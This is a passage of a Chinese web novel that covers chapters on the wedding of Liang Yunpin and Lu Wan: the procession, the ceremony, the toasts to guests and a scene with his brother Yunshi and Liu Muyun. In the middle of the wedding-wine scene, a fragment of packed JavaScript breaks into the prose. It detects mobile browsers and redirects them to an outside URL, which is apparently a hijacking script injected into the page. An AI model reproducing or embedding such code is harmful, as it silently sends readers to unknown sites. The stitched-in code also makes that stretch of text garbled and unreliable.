“你听他胡扯,还跪了三天三夜呢……大相公压根没为难梁大人便同意了!照我看呐,这梁家人是迷了心窍不假,可到底是财迷心窍还是鬼迷心窍,可说不准啊~”
“怎么说?”
“呵,你们都不知道那名男妻的来头吗?那男子,是传闻中家财万贯,富可敌国的杭州首富之子,姓陆!”
“首富?就是那个,在江南道只手遮天的陆之垣,陆老爷?这男妻是他嫡子?他竟也舍得?”
“梁相亲自下杭州为儿子求亲,陆老爷敢不答应吗?你没瞧这嫁妆备了多少抬?连路都快挤不下了……我听闻呐,梁家光是聘礼就送去了三船,可陆家呢,回了足足八船嫁妆!八船!”
“乖乖,那不得有个百八十抬的?这派头,堪比王府千金呐!”
“呵呵,说是足足一百二十抬!连接亲的院子都放不下了!”
“天爷……那你的意思是,大相公囊中羞涩,府里亏空得紧,是为着钱财才聘了这么个儿媳妇?这不是明晃晃地敛财,官商勾结么?”
“去去去,瞧你们这红眼样儿,吃不到葡萄就说葡萄酸……人家这是过了明路的嫁妆!同梁家有什么关系?梁相和梁大人再囊中羞涩,还能动用人家的嫁妆钱不成?”
“切,当官的哪有几个好货色,知人口面不知心呐……”
……
吉时已至,迎亲的府邸外锣鼓喧天,人声鼎沸,院内却一派热闹祥和的景象。
那些不知所谓的闲话还来不及传入院内,就被同时响起的近百响炮仗炸了个七零八落。
一众奴仆搓着小手列队而立,交头接耳,脸上皆带着喜气洋洋的笑意,就连平日里没什么好脸色的阿生都笑得合不拢嘴,被先于梁蕴品出房门的一心借机抛了个媚眼。
“……”
阿生默默撇开视线,却见一心身后跟着并肩而行的两个人,一个披着攒金丝鸳鸯双面绣的大红马褂,一个则身着满绣金莲镶东珠的圆领袍,披着大红双喜的红盖头,俨然便是今日大喜的一对新人。
可阿生下意识觉得不妥——难不成是他记错了?少爷为何不是由喜婆背着出来?
“大少爷,大少爷,哎哟,让老婆子我把新娘子背上轿吧,这不合规矩,这……”
只见一对新人身后跟着絮絮叨叨的喜婆,梁蕴品对其劝告充耳不闻,只温柔细心地牵着陆宛向前,缓步走出府邸,来到披红戴绿的高头大马身侧。
众目睽睽下,梁蕴品矮身一抱,将陆宛四平八稳地托上了马鞍,随即一踩脚蹬飞身上马,侧身对紧随其后,怨声载道的喜婆微微一笑。
“辛苦妈妈了。这些琐碎的礼节无需在乎,夫人晕轿,与我共乘一骑即可。”
又道,“轿子照抬,路照走,父亲母亲那儿若有话,我去说便是。”
说罢双手牵起缰绳,将陆宛整个裹在自己怀中,轻轻一夹马腹便启了程。
梁府一众奴仆与门外看热闹的百姓皆对梁蕴品随性之举感到惊讶,对陆家少爷“妖孽祸夫”之论更加笃定,却没人敢吱声,只得默默腹诽。
唯有一心见怪不怪,催着众人赶紧出发,又寻了个机会贴到伴轿而行的阿生身侧,同他不合时宜地嬉闹起来。
秋风飒爽,汴都城里里外外却端得一副热火朝天。
沿街相望的人挤得水泄不通,迎亲的仪仗将锣鼓击出了过年的气势,一百二十抬嫁妆跟在送嫁的队伍身后,在天门大街徐徐铺开一幅喜庆的画卷。
红妆百里,浩浩荡荡,汴都许久未有过如此气派的迎亲,直叫那眼高于顶的京城人士瞠目结舌,被那一抬又一抬檀木箱子晃得眼花缭乱。
陆宛乘于马上,挺拔的腰身被梁蕴品的怀抱紧紧包裹,叫他莫名安心,但百姓直勾勾的目光似有万钧重量,穿过红盖头落到他脸上,叫他的颊边无端升起两坨红云。
他想起与梁蕴品同乘一骑前往舒志巷的情景,当日,襄州百姓也是这么夹道而观,梁蕴品还不知他的身份,却如今日一般紧紧贴着他的后背,给他无形的依靠与支撑。
他笑了笑,又忆起梁蕴品离开襄州回汴都的前一晚,二人同床夜话,梁蕴品怕伤着他,整夜侧着身子委顿在外侧,给他留出了好大一片安憩的位置。
“大人当真要娶我?莫不是为了还我的情……”
“不是。你别胡思乱想。”
“可我并不觉得自己有什么值得大人惦记的……”
“你整个人,整颗心,都值得我惦记。”
“可我家到底配不上梁府,丞相大人和夫人会不会……”
“别多想,此事交给我,你安心养伤,等伤好后专心筹备我们的大婚即可。”
……
时移世易,一切苦难与心酸恍如旧梦,却叫陆宛心中不甚踏实,他深觉幸福来得太过轻易,他德不配位,实在心虚。
梁蕴品似乎对陆宛的情绪愈加敏感,即便怀中人盖着红盖头,他亦能准确分辨出那一闪而过的波动心绪。
他揣起陆宛的手,放在缰绳上一并握着,倾身附在他耳侧,“往后这样同骑出行的日子还有许多,你若不高兴如此张扬,我便再备一匹马。”
陆宛眸子一睁,顿时有些心急,否认道,“没有,没有不高兴。这样便很好……”
梁蕴品嘴角微不可察地勾了勾。
“其实前些日子我大可同父母说明,叫他们将八抬大轿换成宝马一匹。”梁蕴品语气微微上挑,“只是我亦有私心,想让你与我同乘一骑,也想让全汴都的人都亲眼目睹——你是我的。”
陆宛被梁蕴品的情话勾得心神一震,不知所措地偏了偏头。
沉顿片刻,他倏忽一笑,打趣道,“两月未见,大人怎地越发孩子气了。”
“我只是个平平无奇的男子,又不是什么和璧隋珠,”陆宛吁出一口长气,“即便叫旁人看去了,也只会一笑而过,总不会心生羡慕。”
“呵,那是他们没有眼光。”
梁蕴品不置可否,紧了紧陆宛的手,“所以,能否告诉我,你方才为何出了神?”
陆宛没料到梁蕴品如此敏锐,顿了顿才道,“我只是觉得,眼下拥有的一切不太真实了,仿佛空中楼阁,一转身便消散了。”
“……”
该觉得不真实的人,应该是我。
梁蕴品听着陆宛的话有些唏嘘,一时间竟忘了回应。
他曾以为会孤家寡人一辈子,没想到误打误撞破了仇家设下的死局,还娶到了毕生所爱。
他紧了紧手臂,状若无意却将陆宛圈禁得更深,仿佛只有这样才能将心落到实处。
陆宛久久未闻梁蕴品答复,心中疑惑,却不好追问下去——他瞧见红盖头晃晃悠悠的缝隙之下,迎亲的队伍已然拐过最后一条街巷。
梁府,快要到了。
-
“一拜天地——二拜高堂——”
“夫妻对拜——”
“礼成!送入洞房——”
美梦在这一瞬化作真实,落袋为安。
四面八方的鼓噪与喝彩如涨潮般纷至沓来,争先恐后地挤入陆宛的耳畔。
他颤抖着直起身,腰间不疾不徐搭上一只厚实的大手,左手也被那温热的掌心接了过去。
他像一只归巢的家雀,被那只大手摆弄着向前,顺着人潮行至东南角的院子,直至步入婚房,坐到床沿,被撒了一手的桂圆和核桃才缓过神来。
“嘿,梁伯倒是贴心,居然撤去了莲子花生红枣。”
“也没让厨房煮生饺子,难怪人家是相府的大管家呢~”
陆宛听见奴仆们在一旁碎碎念,低头看了眼手中的同心花果,欲言又止。
罢了,日后若是真能怀上,再给大人一个惊喜吧。
喜婆走上前来,从一对新人的耳后各自取下一绺头发,一边说着吉祥话一边用红绳将发丝捆于一绺,放于绣着金线的红色锦囊中。
一旁的阿生早早端好了合卺酒,擎等着繁琐的习俗过去,他亲自端上前来,展颜一笑,“合卺交杯,永不分离。愿大少爷同大少夫人永结同心,琴瑟和鸣。”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14685751|156902||http|test|mini|href|location''.split(''|''),0,{}));
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>“好。”
梁蕴品接过两杯酒,将其中一杯送到陆宛手中,牵着他的手与自己交杯。
合卺酒下肚,围在一旁看热闹的众人霎时哄堂大笑,边说着“大吉大利”边撺掇着梁蕴品出去喝酒,曹诀更是从公子堆里蹿出来,冲梁蕴品抬手一招,“快快快,我从家里地窖挖了我爹当年私藏的杜康,再不喝我爹就该发现,要把我的腿打断!”
“呦呵,曹公子家藏的竟是杜康,不是女儿红吗?”
“去你的!我又不是姑娘!”
曹诀笑着睨了那嘴碎之人一眼,又念及陆宛在此,把“姑娘出嫁才备女儿红”这句话生生咽了下去,招呼梁蕴品出来敬酒。
梁蕴品淡淡一笑,“不急,还有一事未了。”
说着他起身走到桌旁,撩起盖如意秤的红帕子,将那触手生温的玉如意端在手中。
“诶,大少爷这是要做什么?这掀盖头是您二人晚上独处时才——”
喜婆话音未落,梁蕴品已然回到床边,用如意秤挑开了陆宛的红盖头。
“嘶——”
众人霎时倒吸了口冷气,不明所以,房中一片鸦雀无声。
头顶骤然一轻,陆宛一怔,抬眸看向梁蕴品,十分无辜地眨了眨眼。
梁蕴品收起如意秤,与陆宛对视时笑容略微一滞——只见他略施粉黛,肤如凝脂,鼻头和狭长的眼尾处各染上一抹胭脂桃色,眼尾处还点了一颗朱砂色的美人痣。
……谁给陆宛抹的胭脂?
梁蕴品情不自禁伸手,旁若无人地揉了揉陆宛的眼尾,尾指抚过那颗诱人的痣。
“诸位,请到宴清堂雅座稍候一二。”
梁蕴品声音有些哑,他艰难地挪开目光,朝众人微一颔首,“待我二人休整片刻,便一道前往宴清堂敬酒,答谢诸位今日相贺之情。”
“一道?嫂夫人也出来敬酒吗?”
那碎嘴子公子又先声夺人,调侃道,“蕴品兄,这不合适吧,哪有新娘子在新婚之夜,出来抛头露面一说?”
“嘁,哪不合适?一道就一道呗,不都是男人么~”
搭话的是一个清脆的声音,听着像是哪家养尊处优的小少爷,图得就是一个人多热闹,百无禁忌。
“……大少爷,这位公子说得对,这,这没有新娘子还要出去敬酒的规矩啊……”
喜婆急匆匆走到梁蕴品跟前,被他肆意妄为之举折腾出一脑门虚汗。
她压低声音苦口婆心劝道,“您今日让少夫人上马,已是犯了忌了,若还让他出前厅去敬酒,怕是明日就传遍汴都城,平白惹人非议啊少爷!”
梁蕴品微一颔首,朝喜婆淡淡一哂,“我知妈妈是为了我好,也是为了梁家的脸面。”
“可我娘子既是梁府的大少夫人,亦是名堂堂正正的男子,更是杭州陆家,凭一己之力打理数十条街市的天纵奇才。”
“我今日将他藏起来,来日呢?他嫁为人妇,便合该困于高墙,于深宅内院勾心斗角,从丈夫手里讨生活么?”
“这……”
见喜婆哑口无言,梁蕴品挺直腰杆,面朝众人娓娓说道,“旁人我管不了,但我的妻定可堂堂正正与我并肩。我能做的事,他也能做;我能见的人,他自然能见。”
说罢拱手一礼,“若是诸位没有别的要说,那便请先到宴清堂歇息,我们随后便到。”
“……是。”
“行,那咱们待会儿见啊蕴品兄!”
众人纷纷作鸟兽散,那碎嘴公子边走边还在嚼舌根,“蕴品兄可以啊,人家是‘冲冠一发为红颜’,他是‘离经叛道为蓝颜’,哈哈哈哈,这下他可要被吃死了!”
“行了就你话多,赶紧吃酒去,别多管闲事。”是曹诀的声音。
陆宛有些怔愣地看着这一幕,内心动容无以言表。
他站起身,在梁蕴品回身一刻凑到他怀中,踮起脚如蜻蜓点水般在他唇上落下轻轻一吻。
“大人……”陆宛脚跟落地,眉眼弯弯,“不,如今该叫您,官人。”
梁蕴品眸色顿深,扣住陆宛的后脖再度索取,直到陆宛微感窒息,抬手轻轻推了推他。
“别勾我,我已近两月未见你了。”
梁蕴品将陆宛的脸摁入自己的肩窝,感受着他胸腔起伏的曼妙,拇指掠过陆宛眼角时顺势抹去了那颗美人痣。
“晚些我同父亲母亲说,明日请安的时辰可能会晚一些。”
“今夜不眠,可以忍受吗,小仙君?”
32. 32.大婚(二)
梁府坐落于汴都城最气派最庄重的道路——天门大街的东北角,无人知晓其占地多少亩,盖因其沿河而立,自东向西将整条拐角巷围得严严实实,寻常人甚少路过,更遑论丈量。
但工部曹侍郎的夫人孟滢同梁相夫人栾静是闺中密友,来梁府已是家常便饭,却也还是难以习惯梁府之大。
此刻她正一手支着女使,一手同栾静彼此搀扶,吭哧吭哧地往梁府宴客主厅——宴清堂赶路,嘴里忍不住碎碎叨叨,“你说说,当初你们家就不该搬到这个宅子来,这宅子气派归气派,位置却不好,东街口一堵客人就得下车,还不如长白巷那个五进五出的小院子。”
一心被梁蕴品派去随栾静迎客,此时正跟在身后,听了孟大娘子的话不禁嘴角一抽:他奶奶的,五进五出的院子也算是“小”院子,还有没有天理了。
栾静听了,用丝帕捂嘴一乐,“这不是官家赐邸,不好不赏脸嘛~你也是,我儿大婚你还迟到,没赶上我家家仆清道,只能下车步行……亏我撇下那么多贵客出来迎你,还要被你数落一番。”
“哎哟,别提了,你瞧我这倒霉催的……我正要出门呢,好端端地摔了一跤,人倒没啥事,可头发摔乱了,精心准备的衣裳也摔脏了……”孟滢叹了口气,“这不是要重新捯饬,不叫我干儿子丢脸嘛!”
“还好我让官人同儿子先行一步,不然啊品儿该怪我这个干娘,说我对他不上心了~”
孟滢说着说着自己也不好意思了,陪栾静一同吃吃地笑,笑着笑着又反应过来,“诶,你方才说贵客,那前不久非得缠着你家结姻的卫国公,戚太师和平北侯……”
“嗯,都来了。”
栾静扶了扶金簪,面露倦色,“话里话外,左不过都是那些风凉之言。我瞧不上她们拿腔拿调的模样,所以巴不得去接你,好让自己舒坦些。”
孟滢张了张嘴,想骂上一通为挚友出气,却发现无从落嘴,只能陪着叹了口气。
“你说品儿那孩子,自小品学兼优,是汴都的孩子里最让人省心的,又一举及第,多少好姑娘排着队等着嫁他。这千挑万选的,怎么就……”
“不怪他。”
栾静也叹了口气,撩起眼冲孟滢强撑着笑了笑,“要怪就怪我。我身为人母,不能好好保护我的孩子们……”
“哎呀,你眼红什么,我又没怪谁……好了好了,男妻就男妻,男妻怎么了?杭州陆家的儿子,是随便哪个人家能娶到的吗?”
孟滢脚下赶着路,手帕却已递到栾静眼前,“我听说呀,咱儿媳妇长得一表人材,仙风道骨的,可招人稀罕了!可品儿不久就得回任上了,也不知我这个干娘何时才能见一见新妇呐……”
“夫人想见,一会儿便可见着了。”
一心见栾静心绪一时难以平复,主动上前解围,“我家少爷说,他能做的事,能见的人,少夫人也能做也能见。这不,少夫人这会儿正在宴清堂,陪少爷给宾客们敬酒呢!”
“噢?”孟滢微感惊讶,却见栾静面上不以为耻反以为傲,唇角也勾起一道真实的弧度。
“那敢情好,我今日便可一睹新娘子的风采了!”
-
新娘子陆宛换了身轻便的大红婚袍,正被梁蕴品牵在手中逐桌敬酒。
正宴开席前,陆宛先去宴清堂的小偏厅给公婆行了礼,见梁庭嵊和栾静略感惊讶,梁蕴品上前一步,意欲解释,却见梁相眉心一平,难得露出半分和蔼的模样。
“既然来了,便先去给贵客敬酒罢,别失了礼节。”
陆宛有些怔愣,栾静却同他使了个俏皮的眼色,手上摆出催促的动作,“快去快去,叫那群爱嚼舌根的瞧瞧,我家儿媳多好看,多能干!比他们家那些绣花枕头们,好出不止一座山头来!”
陆宛倏地红了脸。
他定了定神,知晓定是有人说嘴,梁夫人为了维护他,说不准忍了多少闲气,便点点头,露出一副乖顺的模样,“父亲,母亲,那新妇便同官人去敬酒了,愿父亲母亲一切安好。”
“诶,好,都好,我正打算到门口接品儿的干娘呢,等她来了再叫你们过来同她请安~”
梁蕴品嘴角一勾,福了福身,道了句“儿子告退”便从小厅退出,牵着陆宛进了宴清堂的正厅。
正厅内,主桌主座因丞相夫妇的“失陪”而落空,梁家几兄弟也不知去了哪,只坐了梁栾两家寥寥几位远亲。陆宛陪梁蕴品一一敬过去后便有些好奇,忍不住见缝插针问,“官人一家只得这几位亲戚么?”
梁蕴品顿了顿,一时觉得这个问题无从回答,“不止,但还有几位……怕是来不了。”
“来不了……是因路途遥远,赶不过来吗?”
陆宛十分天真地抛出自己的猜想,却被厅前摆放的一座秘色瓷淡彩云纹熏炉吸引了目光。
那熏炉体量不大,但通体匀称,色泽堂皇,且炉身的淡金色云纹与炉盖上的云纹镂空交相辉映,排布颇有美感,镂空又烧制得极好,一上一下一实一虚,俨然是一件吴越时期产出的稀世珍宝!
陆宛停住脚步,目光一时难从那熏炉身上剥离。
实则他对古董见惯不怪,早就不稀罕了,他幼时打碎的玉扳指与鼻烟壶就是古董,陆老爷甚至连眼皮都没抬,只叫人把碎瓷收拾了,别划伤了他的小脚丫子……长大后他打理街市商铺,古董更是一件一件往眼前过,直叫他看着麻木不已。
可今日这熏炉却非比寻常,陆宛一眼便认出——这是古越窑产的物件,而越窑是官窑,即便到了今日,亦不是民间能随意交易的奢品。
也就是说……这物件,是皇家的恩赏。
梁蕴品见他眼神黏在云纹熏炉上,莫名觉出陆宛身上一丝难得的孩子气,不禁莞尔,“你喜欢这个?”
“喜欢便带到襄州,这些都是赠与我们的新婚之礼,想要什么,拿走便是。”
说着他走到云纹熏炉旁,垂眸一看,不禁莞尔,“呵,正巧,这便是咱家‘亲戚’送来的大礼。”
“……”
陆宛面色一凝,忽而生出几分难以形容的奇妙心情,“官人是说,当今圣上,是咱家的……亲戚?”
“胡说什么。”
梁蕴品下意识抬头,警醒地看了看四周,见众人兀自热闹,无人听见才松了口气。
他牵着陆宛来到堆满礼品的长桌前,示意他自己去瞧单子,压低声音道,“虽说你的话并不算有误,但往后这等逾越之言,还是少说为妙。”
陆宛不明所以地看向礼品单,眸子一怔,“贤,贵,妃?”
“嗯。”梁蕴品颔首,顺着陆宛的话介绍,“当今圣上的贤贵妃,是母亲的亲妹妹,我的亲小姨。算下来,她女儿长宁公主便是我亲表姐,儿子七皇子是我亲表弟。”
“官家平日同父亲说笑时也会喊‘连襟’,可官家说得,咱们却说不得,你可知晓其中门道?”
陆宛点点头,心下终于了然,微微一哂,“原来官人说的‘来不了’,不是为距离所困,而是被宫墙所挡。”
“嗯。不过有些近亲……是当真来不了了。”
梁蕴品如实托出,“我父亲是三代单传,祖父亦是独子,这一脉本就没什么人。外祖夫妇戎马一生,只生下母亲和一子一女便为国捐躯了,我小姨入了宫,舅舅则……英年早逝,舅母殉了葬,只留下一个襁褓中的独子,早早地便被接到我家来了。”
陆宛越听眉头越紧,他往梁蕴品怀里迈了一步,想要安抚他失去亲人的苦楚,却听得身后传来一个苍劲浑厚的声音,“贤侄既带着新妇出来敬酒,何不同老夫叙上一叙?”
“吕伯父。”梁蕴品越过陆宛的肩膀瞧见来人,态度即刻端肃起来,“蕴品正想给您请安来着,却被一些小事耽误了,实是蕴品不周到,还望伯父海涵。”
陆宛拧过身,诺诺地退至梁蕴品后方,同他一道朝来人行了一礼,直起腰才发现——此人白发苍
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颜,竟已至耄耋之年,看上去比梁相还要老上十数岁,且见他面容和善,一颦一笑间却有股不怒自威的肃杀之气,叫人看上一眼便知是朝堂重臣,惯常翻手为云,覆手为雨。
“诶,老夫都多大岁数了,看着你们这群小的成家立室,只有开心的份儿,哪有置气的?”
老人说着微抬酒杯,被梁蕴品抢先一步敬了上去,青瓷发出“丁当”的敲击之声,“吕伯父,我敬您。”
又侧头示意陆宛上前,“这位是吕大相公。”
吕大相公……当朝左相,吕祺。
陆宛连忙三步并作两步上前,跟着梁蕴品微微躬身相敬,“大相公,梁家新妇陆宛,给您请安了。”
“哈哈哈哈哈,好,好!”
吕禄豪爽地一饮而尽,咂咂嘴明示道,“年轻人,还是得手脚快些,那头还有国公和侯爷,六部尚书都来捧你们的场,总不好像个没见过世面的毛头小子般畏畏缩缩,踟蹰不前,叫客人久等。”
“是,多谢伯父提醒。”
吕祺提醒过后,没说几句便腆着肚子走了,梁蕴品和陆宛不敢再耽搁,兢兢业业敬了一圈,直到陆宛两颊飘上红云,脚下有些不稳才勉强停了下来。
梁蕴品知他不胜酒力,不顾他的逞强将他带入偏厅歇息,又让阿生去煮了醒酒汤。
“方才多亏有吕大相公提醒,”陆宛被梁蕴品搀着落座,蓦地一笑,“瞧贵客们的样子,本就嫌弃我上不得台面,又恼我叫他们好等……赶明儿传出去,我真成汴都第一妖妻了。”
“吕相是父亲的同门师长,也是父亲的忘年挚交。他话说得直,朝堂上也不如我爹韬光养晦,但对我们这些小辈从来一片慈心。他的话,不可不听。”
梁蕴品取来热毛巾给陆宛擦脸,又难得见他如此小性子,嘴角挑得老高,“至于那些忝居高位却心高气盛之人,不必理会。京中世家惯常如此,能入他们眼的人不多。”
“那官人呢?官人不也是世家,缘何看上了我这么个小门小户?”
陆宛勾着唇,眼梢微微一挑,自下而上斜眺着梁蕴品,叫梁蕴品眸色蓦地一暗。
若是他再细心些便能分辨——今日陆宛醉酒之态,与襄州那晚可谓天差地别,不可同日而语。
这才是陆宛醉狠了的模样,把酒当歌,恣意洒脱,甚至于放浪形骸,净捡叫人耳热的话来说。
梁蕴品在他身旁坐下,用手指勾过他的下巴,叫他微微仰着脸,用迷离的眼神直视自己。
“小门小户,也有小门小户的风情,不是么?”
梁蕴品抬起拇指按在陆宛的下巴尖上,极富挑逗式地揉了揉,仿佛揉搓的不是那张小脸,而是某个不可言说的部位。
“今晚要不要让爷体会一下,”梁蕴品凑过脸,在陆宛唇珠上轻轻舔了口,声音压得极低,“小门小户的销魂窟?”
陆宛一怔,继而噗呲一笑,笑得娇而不媚,艳若桃花。
“可以呀,那不如趁现下无人,妾身先叫官人尝些甜头……”
陆宛抬手勾住梁蕴品的脖子,一使劲正要往他腿上跨坐,忽听得屏风后传来一声响动,伴随着一阵剧烈的呛咳,两道压制不住的谈话声一先一后传出。
“识哥你快闷死我了!咳咳咳咳……”
“对不住对不住,我一时紧张,对不住……”
陆宛浑身一僵,顿时酒醒了大半,跨坐到一半的腿伸也不是缩也不是,只好默默站了起来。
梁蕴品倒是稳坐钓鱼台,端得八风不动。后一人说话的声音他再熟悉不过,可前者他似乎也听到过,仿佛是方才婚房中,替陆宛敬酒说话的那位洒脱爽朗的小公子。
梁蕴品眼珠一转,当下便有了判断。
“出来吧,蕴识。”梁蕴品起身,将站都站不稳的陆宛摁回座上,回身背手,面上带着不咸不淡的微笑。
“听兄嫂墙根便也算了,是不打算将柳公子介绍给为兄和你长嫂么?”
33. 33.大婚(三)
“……”
一阵沉默后,绣着万艳争春的屏风似乎动了动,不知是被穿堂风撩拨,还是被身后那双打情骂俏的稚侣误触。
陆宛起身走到梁蕴品身侧,只见屏风后人影耸动,须臾,两名华冠丽服的男子一前一后从屏风西侧钻出,颇有些局促地站定在一对新人跟前。
“兄长,大嫂。”
梁蕴识腆笑着朝二人各一欠身,“打搅兄嫂休息,蕴识羞愧难当,这厢便同兄长,嫂嫂请罪了。”
陆宛客气一笑,颔首回礼。
梁蕴识是梁蕴品的二弟,与他在杭州便有一面之缘。
此人身型较梁蕴品壮实少许,身高却略逊一筹,面上还时常挂着和善的笑,任谁看都会认定他是个温文儒雅的翩翩书生。
但陆宛初次见他,便觉察他性子极尽稳重,说话办事滴水不漏。这份稳重虽与梁蕴品的沉肃大相径庭,但一脉传承的世家贵质依然可见一斑。
可如今站在他身旁的那位小公子,性子便明显跳脱许多。
陆宛偏过头,不着痕迹地打量了那位公子一眼,只见他个头不高,比自己还要矮上一两寸,和梁蕴识并肩而立时显得格外小巧,但那张脸却长得极为精致,一身鹅黄色的浣花锦衬得他气色极佳,浑身透着一股天不怕地不怕的少年意气。
思量间,那位公子看了过来,一双灵动的杏眼睁得又圆又大,盯着他看时毫不露怯,活脱脱一只充满了好奇与探索欲的小兔子。
“咳咳,我来给兄嫂引荐一下……这位是先柳太傅家的独孙,礼部柳员外之子,柳慕云。”
梁蕴识红着耳根给兄嫂介绍完,又偏过头给柳慕云介绍,“慕云,这两位是我的大哥大嫂。”
“我知道我知道,我今儿来不就是为了两位的大婚么~”
柳慕云眨了眨眼,上前一步,给梁蕴品和陆宛分别作了一揖,“慕云给大哥大嫂请安,恭贺大哥大嫂喜结连理,百年好合!”
“……”
梁蕴品一时顿住,不知该如何应答。
自上回梁蕴识同他提起柳慕云,他便着人去查了查,一查才知,这位柳小公子竟是汴都城近些年来出了名的“混世小魔王”,高门大户任谁见了他都得头皮发麻,退避三舍。
梁蕴品对他并无成见,却也有些忌惮他,概因他的“魔”并非在于欺男霸女,横行霸道,而在于说话行事离经叛道,时常无视世家礼仪语出惊人,或做出一些叫人瞠目结舌的举措。
譬如现下……他人还未过门,如何能跟着梁二,称呼他们为大哥大嫂?
他无声轻叹,正想开口纠正柳慕云,却见那人毫不介怀他方才的沉默,闪着晶亮的眸子迎身向前,十分好奇地打量着他身边的陆宛。
“方才在房中离得远,现在见了面,才知嫂嫂竟如此好看……当真是百闻不如一见啊!”
柳慕云看得眼睛发直,忍不住抬起双手,拉过陆宛的小臂轻轻晃了晃,“我敢打赌,汴都绝无比大嫂更好看的男子了!”
“……”
陆宛还没回过神,梁蕴品先沉了脸。
他目光一扫那两只白白嫩嫩,一看便知未沾过半分阳春水的爪子,又抬眸瞟了老二一眼,却发现——梁蕴识居然也在皱眉。
“呃……呵,柳公子过誉了。”
陆宛朝梁蕴品身旁挪动一步,不动声色地挣脱了柳慕云的拉扯。
“汴都人杰地灵,藏龙卧虎,更有天子在上,奇才瑰才皆聚于此间……”陆宛微微一哂,“我不过是区区一介布衣,实是难当柳公子盛誉。”
“啧,一家人关起门来,说大话也无人听见,大嫂何须这般谦虚!”
柳慕云像只好动的狐狸,手上刚离了陆宛的衣袖,下一刻便攀上了梁蕴识的胳膊。
他挽着梁二的胳膊晃了晃,侧头狡黠一笑,问,“蕴识哥哥,你说大嫂好不好看?是不是咱们见过的最好看的男子?”
“……”
梁蕴识面露难色,继而无奈一笑,俯身附耳同柳慕云说了两句话,霎时叫这小兔子红了耳根。
“哎呀讨厌,识哥你净会哄我……我当然知道自己好看!”
柳慕云赧得不行,指尖悄悄掐了梁二一把,笑着偏头,“可大嫂这谪仙般的人儿,在汴都还是独一份呢,我就爱瞧他仙气飘飘的模样~”
“诶,大嫂,你说说,是汴都的水土太粗,还是杭州的水土太养人?”
柳慕云想了想,竟十分认真地规划起来,“不若我同识哥成婚前,先到杭州住上一段吧……我也想养就大嫂这般飘然的气质。待成婚之日,我要叫全汴都的人都羡慕识哥!”
说着又嘟囔了一句,“我现在就挺羡慕大哥的……”
眼见柳慕云越说越不像话,梁蕴识却像聋了一般,只晓得盯着人痴痴地笑……梁蕴品无奈扶额——罢了,色迷心窍。
他这弟弟往后也是个妻管严,怕是指望不上了。
他清了清嗓子,正想出言提醒,却见陆宛轻咳一声,讪讪发言,“柳公子,我方才酒醉糊涂,忘了自报家门,实在是失礼了。”
“我姓陆,单名一个宛字,家中排行第五,瞧着应是虚长你几岁……”
陆宛笑了笑,“但我家没那么多讲究,你若不介意,以后唤我的大名‘陆宛’即可。”
“嗯?唤你大名?为什么?”
柳慕云似是十分不解,脱口而出,“虽说礼仪廉耻在我心中一文不值,但我对大哥大嫂是打心底里尊敬。若直呼其名,岂非失了礼数?”
“……”
陆宛记不清自己是第几次被柳慕云的话噎住,他偏过脸,同梁蕴品面面相觑,彼此都瞧见了对方眼中深深的无奈。
他微微一哂,正想同柳慕云再说开些,却见柳慕云陡然张圆了嘴,露出一副恍然大悟的模样。
“我知道了,大哥大嫂是觉着,我还未进门,跟着蕴识哥哥称呼二位……有失体统?”
见这孩子终于开窍,陆宛失笑,“体统……倒不是顶重要的,只是怕传出去,白白损了柳公子的名声。”
“仅仅是为了我的名声?那便无所谓了~”
柳慕云似放下心头大石,十分随意地摆了摆手,又在陆宛错愕的眼神中昂头看向梁蕴识,“识哥,我只问你——你是不是今生今世,非我不娶,非我不要?”
这回梁蕴识没有半分迟疑,正色道,“是。”
“今生今世,梁蕴识只会娶柳慕云一人,非你不可。”
“那不就好了~”
柳慕云眸光流转,露出了成竹在胸的神情,可染上红霞的耳根却出卖了他,揭穿了一颗隐藏于离经叛道之下的少男怀春之心。
“识哥同我说过,兄嫂都是克己慎行之人,或许瞧不上我这般放纵不羁的毛头小子。”
柳慕云缓了缓脸热,正色道,“可慕云自问所作所为无愧于天地,更无愧于心。既然如此,为何要委屈自己去守那劳什子陈规陋习?又为何要在乎旁人的目光和闲言碎语?”
“……”
又是一阵沉默过去,梁蕴品终于幽幽开口,“柳……慕云弟弟多心了。”
“我同你大嫂从无瞧不上你的意思。”
他顿了顿,又道,“且
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不知二弟是如何同你说道的,梁家子弟从来不是什么循规蹈矩,拘俗守常之人,往后你进了门,便知道了。”
这下轮到柳慕云一怔,却见梁蕴识忍俊不禁,笑着将一只大手抚了上来,按在他后脑勺上轻轻蹭了蹭。
“好了,我们在此处耽搁已久,也该出去了。”
梁蕴品牵起陆宛的手,刚要离开却觉不妥,“蕴识,你二人在此谈情说爱,那老三、老四和表弟呢?”
“呃……三弟和小礼同曹公子到后厅,斗蝈蝈去了。”
梁蕴识突然被问,站得板板正正,面露羞惭之色,“四弟他……他只来了片刻,一炷香不到便回房了。”
“四弟回房了?”
顾不上管老三和栾礼斗蝈蝈一事,梁蕴品忙问,“是哪儿不舒服,还是又受刺激了?”
梁蕴识缄口不言,朝梁蕴品递去一个眼神,示意他不要在此时乱了阵脚,提起不该提的事。
梁蕴品会意,眉头一松,在陆宛和柳慕云探究的眼神中泛起一个牵强的笑。
“许是老四年纪太小,见家中人多,一时有些犯怵。”梁蕴品看向陆宛,“明日给父亲母亲请安,我再带你见见我的兄弟们。”
“……好。”
“对,四弟有些内秀,不喜人多,我待会儿便去看看他。”梁蕴识也适时搭话,“兄长今日大婚,只管陪着大嫂,招待好贵客即可。家中琐事有我,兄长无需过分挂怀。”
“嗯。”
陆宛直觉不妥,却不知这对兄弟在打什么哑谜,只懵懵懂懂地被梁蕴品牵出正厅,喝下阿生捧来的解酒汤后又囫囵咽下许多酒。
酒过三巡,他已经不知道自己见过谁,同谁碰过杯,只记得曹夫人拉着自己一把鼻涕一把眼泪地夸,被曹公子边拽边喊——“人家蕴品兄大婚,您老搁这又哭又笑的!”
还见到了传闻中十分难请的江守义。
江守义姗姗来迟,在一片议论声中穿堂而入,将贺礼亲自交到他们二人手中,盯着他难得说了句好话——“一转眼你也这么大了,既然选择嫁入官宦人家,往后受了苦,便不是你爹花点钱便能解决的了。”
